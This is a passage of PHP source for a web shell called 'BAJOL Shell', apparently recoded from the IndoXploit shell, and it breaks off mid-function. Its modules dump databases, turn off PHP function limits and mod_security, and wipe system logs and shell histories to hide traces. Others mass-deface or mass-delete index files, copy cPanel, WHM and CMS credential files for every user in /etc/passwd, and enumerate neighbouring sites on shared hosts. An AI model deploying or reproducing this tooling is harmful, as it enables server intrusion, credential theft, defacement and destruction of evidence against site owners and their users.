<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";nn");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");n");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'bypass'){
echo "<center>";
echo "<form method=post><input type=submit name=ini value='php.ini' /> <input type=submit name=htce value='.htaccess' /></form>";
if(isset($_POST['ini']))
{
$file = fopen("php.ini","w");
echo fwrite($file,"disable_functions=none
safe_mode = Off
");
fclose($file);
echo "<a href='php.ini'>click here!</a>";
} if(isset($_POST['htce']))
{
$file = fopen(".htaccess","w");
echo fwrite($file,"<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
");
fclose($file);
echo "htaccess successfully created!";
}
echo"</center>";
}
//////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['delete'] == 'logs') {
echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");
system("rm -rf /tmp/logs");
sleep(2);
echo'<br>Deleting .../tmp/logs ';
sleep(2);
system("rm -rf /root/.bash_history");
sleep(2);
echo'<p>Deleting .../root/.bash_history </p>';
system("rm -rf /root/.ksh_history");
sleep(2);
echo'<p>Deleting .../root/.ksh_history </p>';
system("rm -rf /root/.bash_logout");
sleep(2);
echo'<p>Deleting .../root/.bash_logout </p>';
system("rm -rf /usr/local/apache/logs");
sleep(2);
echo'<p>Deleting .../usr/local/apache/logs </p>';
system("rm -rf /usr/local/apache/log");
sleep(2);
echo'<p>Deleting .../usr/local/apache/log </p>';
system("rm -rf /var/apache/logs");
sleep(2);
echo'<p>Deleting .../var/apache/logs </p>';
system("rm -rf /var/apache/log");
sleep(2);
echo'<p>Deleting .../var/apache/log </p>';
system("rm -rf /var/run/utmp");
sleep(2);
echo'<p>Deleting .../var/run/utmp </p>';
system("rm -rf /var/logs");
sleep(2);
echo'<p>Deleting .../var/logs </p>';
system("rm -rf /var/log");
sleep(2);
echo'<p>Deleting .../var/log </p>';
system("rm -rf /var/adm");
sleep(2);
echo'<p>Deleting .../var/adm </p>';
system("rm -rf /etc/wtmp");
sleep(2);
echo'<p>Deleting .../etc/wtmp </p>';
system("rm -rf /etc/utmp");
sleep(2);
echo'<p>Deleting .../etc/utmp </p>';
system("rm -rf $HISTFILE");
sleep(2);
echo'<p>Deleting ...$HISTFILE </p>';
system("rm -rf /var/log/lastlog");
sleep(2);
echo'<p>Deleting .../var/log/lastlog </p>';
system("rm -rf /var/log/wtmp");
sleep(2);
echo'<p>Deleting .../var/log/wtmp </p>';
sleep(4);
echo '<br><br><p>Your Traces Has Been Successfully Deleting ...From the Server';
echo"</td></tr></table>";
}
//////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'zip') {
echo "<center><h1>Zip Menu</h1>";
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if ('.' === $file || '..' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == 'zip' ? true : false;
if(!$continue) {
$message = "Its Not Zip";
}
$path = dirname(__FILE__).'/';
$filenoext = basename ($filename, '.zip');
$filenoext = basename ($filenoext, '.ZIP');
$targetdir = $path . $filenoext;
$targetzip = $path . $filename;
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip);
if ($x === true) {
$zip->extractTo($targetdir);
$zip->close();
unlink($targetzip);
}
$message = "<b>Sukses</b>";
} else {
$message = "<b>Error</b>";
}
}
echo '<table style="width:100%" border="1">
<tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" name="submit" value="Upload And Unzip" />
</form>';
if($message) echo "<p>$message</p>";
echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/bajol_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
if($_POST['backup']){
$save=$_POST['save'];
function Zip($source, $destination)
{
if (extension_loaded('zip') === true)
{
if (file_exists($source) === true)
{
$zip = new ZipArchive();
if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
{
$source = realpath($source);
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file)
{
$file = realpath($file);
if (is_dir($file) === true)
{
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
}
else if (is_file($file) === true)
{
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
}
}
}
else if (is_file($source) === true)
{
$zip->addFromString(basename($source), file_get_contents($source));
}
}
return $zip->close();
}
}
return false;
}
Zip($_POST['dir'],$save);
echo "Done , Save To <b>$save</b>";
}
echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/bajol_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
if($_POST['extrak']){
$save=$_POST['save'];
$zip = new ZipArchive;
$res = $zip->open($_POST['dir']);
if ($res === TRUE) {
$zip->extractTo($save);
$zip->close();
echo 'Succes , Location : <b>'.$save.'</b>';
} else {
echo 'Gagal Mas :( Ntahlah !';
}
}
echo '</tr></table>';
echo "</div>";
echo '</tr></table>';
}
//////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'shellscanner') {
?>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features)
}
//-->
</script>
<style type="text/css">
<!--
.single{
border: 1px solid #00ff00;box-shadow: 0px 0px 15px #55FF55;
padding: 5px;
}
.me {
font-size:11px; font-family:Tahoma,Verdana,Arial; color:#ccff99;
border: 0px;
padding: 5px;
}
.isi{
padding: 2px;
border:1px solid #666666;
font-family: Tahoma;
color: #ccff99;
background-color: #666666;
font-size: 10px;
font-weight: bold;
}
-->
</style>
<style type="text/css">
#patch {position:absolute; height:1; width:1px; top:0; left:0;}
</style>
</head>
<body>
<center>
<center><font color="gold" size="14" face="arial">Shell Scanner</font></center><br>
<?php
if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
if(isset($_POST['yes'])){
$filename = $_GET['file'];
echo "<br><br><br><font color=red size=3><b><center>".$filename." deleted...</b></font><br><br><br><br><br><br><br>";
unlink($filename);
echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">";
}else{
if($_POST['update']) {
$filename = $_POST['file'];
if(is_writable($filename)) {
$handle = fopen($filename, "w+");
$isi=$_POST['content'];
fwrite($handle, stripslashes($isi));
fclose($handle);
$stat= "<center><strong>edited successfully<br>";
} else {
$stat= "<center><font color=red><strong>Error! File may not be writable.</font></center>";
}
}
if($_POST['close']) {
echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">";
}
$filename = $_GET['file'];
if (file_exists($filename)){
$vuln = $_GET['bug'];
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
?>
<center>
<table>
<tr><td align="left" class="me"><strong><?=$filename?>??>> Contains :?<?=$vuln?></strong></td></tr>
<tr><td class="me">
<form method="post" action="">
<input type="hidden" name="file" value="<?=$filename?>">
<textarea name="content" cols="80" rows="15"><?=htmlspecialchars($contents)?></textarea><br>
</td></tr>
<tr><td align="center" class="me">
<?php
if($_POST['delete']) {
echo "Are you sure to delete ".$filename." ?";
?>
<tr><td align="center" class="me">
<input type="submit" name="yes" value=" Y E S ">
<input type="submit" name="no" value=" N O ">
</td></tr>
<?php
}else{
echo $stat;
?>
</td></tr>
<tr><td align="right" class="me">
<input type="submit" name="close" value=" C l o s e ">
<input type="submit" name="delete" value=" D e l e t e ">
<input type="submit" name="update" value=" S a v e ">
</td></tr>
<?php
}
fclose($handle);
?>
</table>
</form>
<?php
}else{
echo "<br><br><br><font color=red size=3><b><center>".$filename." not exist...</b></font><br><br><br><br><br><br><br>";
echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
}
?>
</center>
<?php
}
}elseif(isset($_POST['Submit'])){
$ceks = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
foreach($ceks as $ceker){
if($_POST[$ceker]<>""){
$six.=$_POST[$ceker].".";
}
}
$cek = explode('.', $six);
function ListFiles($dir) {
if($dh = opendir($dir)) {
$files = Array();
$inner_files = Array();
while($file = readdir($dh)) {
if($file != "." && $file != "..") {
if(is_dir($dir . "/" . $file)) {
$inner_files = ListFiles($dir . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dir . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
?>
<center>
<table border="0" width="90%" cellpadding="5">
<tr>
<td align="right" width="30"><b>No</b></td>
<td align="center" width="105"><b> T y p e </b></td>
<td align="center"><b> F i l e??L o c a t i o n </b></td>
<td align="center" width="150"><b> L a s t??E d i t </b></td>
<td align="right" width="80"><b>F i l e??S i z e</b></td>
</tr><br>
<?php
$target=$_SERVER['DOCUMENT_ROOT'];
foreach (ListFiles($target) as $key=>$file){
$nFile = substr($file, -4, 4);
if($nFile == ".php"){
if($file==$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']){
}else{
$ops = @file_get_contents($file);
$op=strtolower($ops);
$arr = array('c99_buff_prepare' => 'c 9 9',
'abcr57' => 'r 5 7');
$sis=0;
if($op)
$size=filesize($file);
$last=date("M-d-Y H:i", $last_modified);
foreach($arr as $key => $val) {
if(@preg_match("/$key/", $op)) {
$sis=1;
$i++;
?>
<tr style ="background-color: Your background Color;" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="red"><blink><?=$i?></blink></font></td>
<td align="center"><font color="red"><blink><?=$val?></blink></font></td>
<td align="left"><blink>
<a href="#" class="abunai" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</blink></td>
<td align="center"><font color="red"><blink><?=$last?> GMT+9</blink></font></td>
<td align="right"><font color="red"><blink><?=$size?> byte</blink></font></td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
if($sis<>"1"){
if((@preg_match("/system\((.*?)\)/", $op))&&(@preg_match("/<pre>/", $op))&&(@preg_match("/empty\((.*?)\)/", $op))) {
$sis="2";
$i++;
$val="hidden shell";
?>
<tr style ="background-color: Your background Color;" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="lime"><?=$i?></font></td>
<td align="center"><font color="lime"><?=$val?></font></td>
<td align="left">
<a href="#" class="xxx" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><font color="lime"><?=$last?> GMT+9</font></td>
<td align="right"><font color="lime"><?=$size?> byte</font></td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
if($sis=="0"){
foreach($cek as $bugs) {
if ($bugs<>""){
if(@preg_match("/$bugs\((.*?)\)/", $op)) {
$i++;
?>
<tr style ="background-color: Your background Color;" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$i?></td>
<td align="center"><?=$bugs?></td>
<td align="left">
<a href="#" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$bugs?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
}
}
if($_POST['textV']<>""){
$text=$_POST['textV'];
if(@preg_match("/$text/", $op)) {
$i++;
?>
<tr style ="background-color: Your background Color;" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$i?></td>
<td align="center"><?=$text?></td>
<td align="left">
<a href="#" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$text?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
}
}
}
if($i==0){
foreach($cek as $bugs) {
if ($bugs<>""){
$x++;
?>
<tr style ="background-color: Your background Color;" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$x?></td>
<td align="center"><?=$bugs?></td>
<td align="center"> not exist </td>
<td align="center"> no record </td>
<td align="right"> -????byte </td>
</tr>
<?php
}
}
}
?>
</table>
<?php
}else{
$find = array('default','base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
?>
<form id="fCheck" name="fCheck" method="post" action="" autocomplete="off">
<center>
<table class="single" width="400" border="1" -webkit-box-shadow: 0px 0px 15px #55FF55; cellpadding="10">
<tr><td class="me"><center>
<table class="me" width="200">
<tr><td class="me">
<script language="javascript">
function cekKlik(){
if (!document.fCheck.cekV.checked)
document.fCheck.textV.disabled=true;
else
document.fCheck.textV.disabled=false;
if(document.fCheck.cekV.checked){
master = master + 1;
}else{
if(master > 0 ){
master = master - 1;
}else{
master = master;
}
}
if(master != 0){
document.fCheck.Submit.disabled=false;
}else{
document.fCheck.Submit.disabled=true;
}
}
</script>
<?php
//dari sini
foreach($find as $bug) {
?>
<script language="javascript">
var master = 0;
function checkValue<?=$bug?>(){
if(document.fCheck.<?=$bug?>.checked){
master = master + 1;
}else{
if(master > 0 ){
master = master - 1;
}else{
master = master;
}
}
if(master != 0){
document.fCheck.Submit.disabled=false;
}else{
document.fCheck.Submit.disabled=true;
}
}
</script>
<input onClick="checkValue<?=$bug?>();" name="<?=$bug?>" type="checkbox" id="<?=$bug?>" value="<?=$bug?>" />?<?=$bug?><br>
<?php
}
?>
<input name="cekV" type="checkbox" onClick="cekKlik();" id="cekV" value="cekV">
<input class="isi" disabled="disabled" name="textV" value="other key word" onFocus="this.select()" type="text" id="textV">
<br><br>
<input type="hidden" name="asal" value="abcd">
<input disabled="disabled" type="submit" name="Submit" value=" Start " />
</td></tr>
</table>
</td></tr></table>
</form>
<?php
}
?>
<br><br><hr width="300">
<?php
}
/////////////////////////////////////////////////////
elseif($_GET['do'] == 'reverseip') {
function s57_curl($domen){
$c = curl_init();
$curl = array(
CURLOPT_URL=>"http://viewdns.info/reverseip/?host=".$domen."&t=1",
CURLOPT_USERAGENT=>"User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
CURLOPT_RETURNTRANSFER=>1,
CURLOPT_SSL_VERIFYPEER=>0,
CURLOPT_HEADER=>0,
CURLOPT_FOLLOWLOCATION=>1);
curl_setopt_array($c,$curl);
$e = curl_exec($c);
curl_close($c);
return $e;
}
function s57_p($pemisah,$string){
return explode(chr(1),str_replace($pemisah,chr(1),$string));
}
echo "<form method='post'>
<center><input class='text' type='text' name='domain' placeholder='IP/Domain' style='width: 240px;'><input class='submit' type='submit' name='sbmt' style='color: lime;' value='>>'>
<br><span style='font-size: 17px;'> Masukin site tanpa http atau https </span></form>";
if(isset($_POST['sbmt'])){
echo "<br>Result for : " .$_POST['domain'];
$r = s57_p(array('<table border="1">','<table width="1000" border="0">'),s57_curl($_POST['domain']));
echo "<table border=1>";
echo $r[1];
echo "</table></center>";
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'about') {
?>
<br>
<div class="terimakasih">
<tr><td><center><font color="gold">YOUR SYSTEM IS JANCOK
<p><font color="Lavender">Thanks To : Son, DIR-64, security007, NooX, Shironeko, IndoXploit, Cowok Tersakiti Team, Problem Cyber Team, And All Member Surabaya Cyber Attacker</font>
<br><br>Shell ini buatan saya sendiri, hasil recode dari Shell IndoXploit.... gw gans thank's :) </a>
<br>Contact Me : [email protected] </p>
<font color="Lavender"><font></font> <br>BAJOL Shell Create By DIR-64, Recoded from IndoXploit Shell
</td></tr>
<?php
}
////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'mass_deface') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function sabun_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe_sabun'] == 'mahal') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
} elseif($_POST['tipe_sabun'] == 'murah') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>";
}
} else {
echo "<center>";
echo "<form method='post'>
<font style='text-decoration: underline;'>Tipe Sabun:</font><br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>BAJOL SHELL</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
}
/////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'mass_delete') {
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=lime>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$idx = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST['start']) {
echo "<div style='margin: 5px auto; padding: 5px'>";
hapus_massal($_POST['d_dir'], $_POST['d_file']);
echo "</div>";
} else {
echo "<center>";
echo "<form method='post'>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
</form></center>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'config') {
$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
$pct = mkdir("bajol_config", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("bajol_config/.htaccess","w");
fwrite($htc, $isi_htc);
while($passwd = fgets($etc)) {
if($passwd == "" || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_bajol) {
$user_config_dir = "/home/$user_bajol/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_bajol/.my.cnf" => "cpanel",
"/home/$user_bajol/.accesshash" => "WHM-accesshash",
"/home/$user_bajol/public_html/po-content/config.php" => "Popoji",
"/home/$user_bajol/public_html/vdo_config.php" => "Voodoo",
"/home/$user_bajol/public_html/bw-configs/config.ini" => "BosWeb",
"/home/$user_bajol/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_bajol/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home/$user_bajol/public_html/clientarea/configuration.php" => "WHMCS",
"/home/$user_bajol/public_html/whm/configuration.php" => "WHMCS",
"/home/$user_bajol/public_html/whmcs/configuration.php" => "WHMCS",
"/home/$user_bajol/public_html/forum/config.php" => "phpBB",
"/home/$user_bajol/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_bajol/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_bajol/public_html/app/etc/local.xml" => "Magento",
"/home/$user_bajol/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_bajol/public_html/configuration.php" => "Joomla",
"/home/$user_bajol/public_html/wp/wp-config.php" => "WordPress",
"/home/$user_bajol/public_html/wordpress/wp-config.php" => "WordPress",
"/home/$user_bajol/public_html/wp-config.php" => "WordPress",
"/home/$user_bajol/public_html/admin/config.php" => "OpenCart",
"/home/$user_bajol/public_html/slconfig.php" => "Sitelok",
"/home/$user_bajol/public_html/application/config/database.php" => "Ellislab");
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("bajol_config/$user_bajol-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
}
}
echo "<center><a href='?dir=$dir/bajol_config'><font color=lime>Done</font></a></center>";
}
///////////////////////////////////////////////////////////////////////////////////////////////
elseif($_GET['do'] == 'jumping') {
$i = 0;
echo "<div class='margin: 5px auto;'>";
if(preg_match("/hsphere/", $dir)) {
$urls = explode("
", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "", strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=lavender>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=lavender>$url_user</font></a>";
}
echo $jrw."<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url" style="width: 500px; height: 250px;">';
$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
</form></center>';
}
} elseif(preg_match("/vhosts/", $dir)) {
$urls = explode("
", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$web_vh = "/var/www/vhosts/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
}
echo $jrw."<br>";
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
<form method="post">
List Domains: <br>
<textarea name="url" style="width: 500px; height: 250px;">';
bing("ip:$ip");
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
</form></center>';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
